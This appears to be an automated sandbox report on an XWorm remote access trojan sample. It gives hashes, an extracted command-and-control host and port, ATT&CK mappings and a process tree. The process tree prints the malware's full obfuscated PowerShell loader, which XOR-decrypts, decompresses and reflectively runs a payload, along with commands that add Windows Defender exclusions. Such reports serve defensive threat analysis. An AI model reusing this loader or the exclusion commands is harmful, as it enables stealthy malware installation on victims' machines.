xworm | 713b3b9b9cd5a6c17626b7f31a8173f5b397db4ea0d986114524fd988803f4f2

Analysis

max time kernel
98s
max time network
151s
platform
windows10-ltsc 2021_x64
resource
win10ltsc2021-20241023-en
resource tags

arch:x64arch:x86image:win10ltsc2021-20241023-enlocale:en-usos:windows10-ltsc 2021-x64system
submitted
18-11-2024 21:25

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General

Target

XClient.bat
Size

66KB
MD5

ded6a5751236497347ed27d22226ef8d
SHA1

be89ce17f8dade3336202acc0b7ac78d3f9dbdca
SHA256

713b3b9b9cd5a6c17626b7f31a8173f5b397db4ea0d986114524fd988803f4f2
SHA512

8356eacb14d0cb5e552d383e6a5afe0873b1de2b9f002f743bd7d7aee50748011406964407e0ea0a3e04e03677410785cd385c72d88a10ced33d9315ba427ef4
SSDEEP

1536:iZAamnjGVMuIfaG8PUTjSQ3qYZmdN+p6CjQU+n2S+9Kh:WAamjVuWLTjR6YZ2Ip6CjQUo2SMQ

Score

10^/10

xworm execution rat trojan

Malware Config

Extracted

Family

xworm

name-hundred.gl.at.ply.gg:10055

Attributes

install_file
Windows.exe

Signatures

Detect Xworm Payload 1 IoCs

resource	yara_rule
behavioral2/memory/4128-16-0x0000020FC6150000-0x0000020FC6166000-memory.dmp	family_xworm

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm
Xworm family
xworm

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
3900	powershell.exe
2520	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3495501434-311648039-2993076821-1000\Control Panel\International\Geo\Nation	XClient.bat.exe

Executes dropped EXE 1 IoCs

pid	Process
4128	XClient.bat.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Delays execution with timeout.exe 1 IoCs

evasion

pid	Process
2620	timeout.exe

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
4128	XClient.bat.exe
4128	XClient.bat.exe
3900	powershell.exe
3900	powershell.exe
2520	powershell.exe
2520	powershell.exe
4128	XClient.bat.exe

Suspicious use of AdjustPrivilegeToken 45 IoCs

description	pid	Process
Token: SeDebugPrivilege	4128	XClient.bat.exe
Token: SeDebugPrivilege	3900	powershell.exe
Token: SeIncreaseQuotaPrivilege	3900	powershell.exe
Token: SeSecurityPrivilege	3900	powershell.exe
Token: SeTakeOwnershipPrivilege	3900	powershell.exe
Token: SeLoadDriverPrivilege	3900	powershell.exe
Token: SeSystemProfilePrivilege	3900	powershell.exe
Token: SeSystemtimePrivilege	3900	powershell.exe
Token: SeProfSingleProcessPrivilege	3900	powershell.exe
Token: SeIncBasePriorityPrivilege	3900	powershell.exe
Token: SeCreatePagefilePrivilege	3900	powershell.exe
Token: SeBackupPrivilege	3900	powershell.exe
Token: SeRestorePrivilege	3900	powershell.exe
Token: SeShutdownPrivilege	3900	powershell.exe
Token: SeDebugPrivilege	3900	powershell.exe
Token: SeSystemEnvironmentPrivilege	3900	powershell.exe
Token: SeRemoteShutdownPrivilege	3900	powershell.exe
Token: SeUndockPrivilege	3900	powershell.exe
Token: SeManageVolumePrivilege	3900	powershell.exe
Token: 33	3900	powershell.exe
Token: 34	3900	powershell.exe
Token: 35	3900	powershell.exe
Token: 36	3900	powershell.exe
Token: SeDebugPrivilege	2520	powershell.exe
Token: SeIncreaseQuotaPrivilege	2520	powershell.exe
Token: SeSecurityPrivilege	2520	powershell.exe
Token: SeTakeOwnershipPrivilege	2520	powershell.exe
Token: SeLoadDriverPrivilege	2520	powershell.exe
Token: SeSystemProfilePrivilege	2520	powershell.exe
Token: SeSystemtimePrivilege	2520	powershell.exe
Token: SeProfSingleProcessPrivilege	2520	powershell.exe
Token: SeIncBasePriorityPrivilege	2520	powershell.exe
Token: SeCreatePagefilePrivilege	2520	powershell.exe
Token: SeBackupPrivilege	2520	powershell.exe
Token: SeRestorePrivilege	2520	powershell.exe
Token: SeShutdownPrivilege	2520	powershell.exe
Token: SeDebugPrivilege	2520	powershell.exe
Token: SeSystemEnvironmentPrivilege	2520	powershell.exe
Token: SeRemoteShutdownPrivilege	2520	powershell.exe
Token: SeUndockPrivilege	2520	powershell.exe
Token: SeManageVolumePrivilege	2520	powershell.exe
Token: 33	2520	powershell.exe
Token: 34	2520	powershell.exe
Token: 35	2520	powershell.exe
Token: 36	2520	powershell.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
4128	XClient.bat.exe

Suspicious use of WriteProcessMemory 10 IoCs

description	pid	Process	procid_target
PID 3752 wrote to memory of 4128	3752	cmd.exe	84
PID 3752 wrote to memory of 4128	3752	cmd.exe	84
PID 4128 wrote to memory of 3900	4128	XClient.bat.exe	90
PID 4128 wrote to memory of 3900	4128	XClient.bat.exe	90
PID 4128 wrote to memory of 2520	4128	XClient.bat.exe	93
PID 4128 wrote to memory of 2520	4128	XClient.bat.exe	93
PID 4128 wrote to memory of 4304	4128	XClient.bat.exe	99
PID 4128 wrote to memory of 4304	4128	XClient.bat.exe	99
PID 4304 wrote to memory of 2620	4304	cmd.exe	101
PID 4304 wrote to memory of 2620	4304	cmd.exe	101

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\XClient.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:3752
- C:\Users\Admin\AppData\Local\Temp\XClient.bat.exe
  "XClient.bat.exe" -noprofile -windowstyle hidden -ep bypass -command $MACmm = [System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\XClient.bat').Split([Environment]::NewLine);foreach ($ctUEx in $MACmm) { if ($ctUEx.StartsWith(':: ')) { $WrLPu = $ctUEx.Substring(3); break; }; };$rNiyV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($WrLPu);$dKTzZ = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('O3DlLOZ1HoqoHUXVbXCi17PqHhkd750PUh0uxdCau4Y=');for ($i = 0; $i -le $rNiyV.Length - 1; $i++) { $rNiyV[$i] = ($rNiyV[$i] -bxor $dKTzZ[$i % $dKTzZ.Length]); };$HeEGM = New-Object System.IO.MemoryStream(, $rNiyV);$zLsAA = New-Object System.IO.MemoryStream;$Vwwuc = New-Object System.IO.Compression.GZipStream($HeEGM, [IO.Compression.CompressionMode]::Decompress);$Vwwuc.CopyTo($zLsAA);$Vwwuc.Dispose();$HeEGM.Dispose();$zLsAA.Dispose();$rNiyV = $zLsAA.ToArray();$lapFA = [System.Reflection.Assembly]::('daoL'[-1..-4] -join '')($rNiyV);$JOwJF = $lapFA.EntryPoint;$JOwJF.Invoke($null, (, [string[]] ('')))
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:4128
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\XClient.bat'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3900
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'XClient.bat.exe'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2520
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmp482F.tmp.bat""
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4304
  - - C:\Windows\system32\timeout.exe
      timeout 3
      4⤵
      Delays execution with timeout.exe
      PID:2620

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
3KB

MD5
3eb3833f769dd890afc295b977eab4b4

SHA1
e857649b037939602c72ad003e5d3698695f436f

SHA256
c485a6e2fd17c342fca60060f47d6a5655a65a412e35e001bb5bf88d96e6e485

SHA512
c24bbc8f278478d43756807b8c584d4e3fb2289db468bc92986a489f74a8da386a667a758360a397e77e018e363be8912ac260072fa3e31117ad0599ac749e72

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
0ed03408b8364233c14892a8144b1076

SHA1
d1546c466c467a49b10579f0601467490abc01e5

SHA256
abc89e178dd318007ff51ee97a3f0741c5fa7c7f6cbf4643a8fc6fbe214eb624

SHA512
10db8f0e279f7d4cebfb09360fcf1d0995ea627e48e04b4ed7a252b875f4aa608dd751fceff122c380ee2cb5575af9f81bd48e3e5bca2e77b0c663d2a7d5384a

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
a11f87b8cd1fe31e813554148961c1e2

SHA1
196e7db1115913a69bc1fc5f195bc3c5b6cd448a

SHA256
7e9f295821a7d67bb2a4eb7653e5288f9ea83c333db95398f72b914a59afb083

SHA512
5509a66bdfd4e935c77ec2cf92b0fe998d7aa013c9cc9399b532db5d266d08314abd0afa6d08c14475e6badea92ef1d62e21999e489eb9d95e59006e786763b9

Download Submit
C:\Users\Admin\AppData\Local\Temp\XClient.bat.exe

Filesize
445KB

MD5
2e5a8590cf6848968fc23de3fa1e25f1

SHA1
801262e122db6a2e758962896f260b55bbd0136a

SHA256
9785001b0dcf755eddb8af294a373c0b87b2498660f724e76c4d53f9c217c7a3

SHA512
5c5ca5a497f39b07c7599194512a112b05bba8d9777bee1cb45bf610483edbffff5f9132fee3673e46cf58f2c3ba21af7df13c273a837a565323b82a7b50a4d8

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_0a1opbrs.ksw.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\tmp482F.tmp.bat

Filesize
163B

MD5
c5c34d4b06c80bde8531ebdad9cdc7cd

SHA1
bda217c767eda5cc1c6aaa78464b531e39f8853b

SHA256
dbb3765e529fc27aba60e7293ccf84421091ba151ba3dd98aaa8a0a3534d02d6

SHA512
10e12575c1600ba67fa030afdc740522e54e61fd718ebf8199bfdcec304f4846e9ebf7f03ca821dff6f155ca62ea16f937841b60ca2f45903218e19312aa2297

Download Submit
memory/3900-27-0x00007FFAB21C0000-0x00007FFAB2C82000-memory.dmp

Filesize
10.8MB

Download
memory/3900-28-0x00007FFAB21C0000-0x00007FFAB2C82000-memory.dmp

Filesize
10.8MB

Download
memory/3900-32-0x00007FFAB21C0000-0x00007FFAB2C82000-memory.dmp

Filesize
10.8MB

Download
memory/3900-26-0x00007FFAB21C0000-0x00007FFAB2C82000-memory.dmp

Filesize
10.8MB

Download
memory/3900-29-0x00007FFAB21C0000-0x00007FFAB2C82000-memory.dmp

Filesize
10.8MB

Download
memory/4128-14-0x00007FFAB21C0000-0x00007FFAB2C82000-memory.dmp

Filesize
10.8MB

Download
memory/4128-15-0x0000020FAB640000-0x0000020FAB652000-memory.dmp

Filesize
72KB

Download
memory/4128-16-0x0000020FC6150000-0x0000020FC6166000-memory.dmp

Filesize
88KB

Download
memory/4128-13-0x00007FFAB21C0000-0x00007FFAB2C82000-memory.dmp

Filesize
10.8MB

Download
memory/4128-12-0x00007FFAB21C0000-0x00007FFAB2C82000-memory.dmp

Filesize
10.8MB

Download
memory/4128-45-0x00007FFAB21C3000-0x00007FFAB21C5000-memory.dmp

Filesize
8KB

Download
memory/4128-46-0x00007FFAB21C0000-0x00007FFAB2C82000-memory.dmp

Filesize
10.8MB

Download
memory/4128-47-0x00007FFAB21C0000-0x00007FFAB2C82000-memory.dmp

Filesize
10.8MB

Download
memory/4128-11-0x0000020FC5EE0000-0x0000020FC5F02000-memory.dmp

Filesize
136KB

Download
memory/4128-1-0x00007FFAB21C3000-0x00007FFAB21C5000-memory.dmp

Filesize
8KB

Download
memory/4128-54-0x00007FFAB21C0000-0x00007FFAB2C82000-memory.dmp

Filesize
10.8MB

Download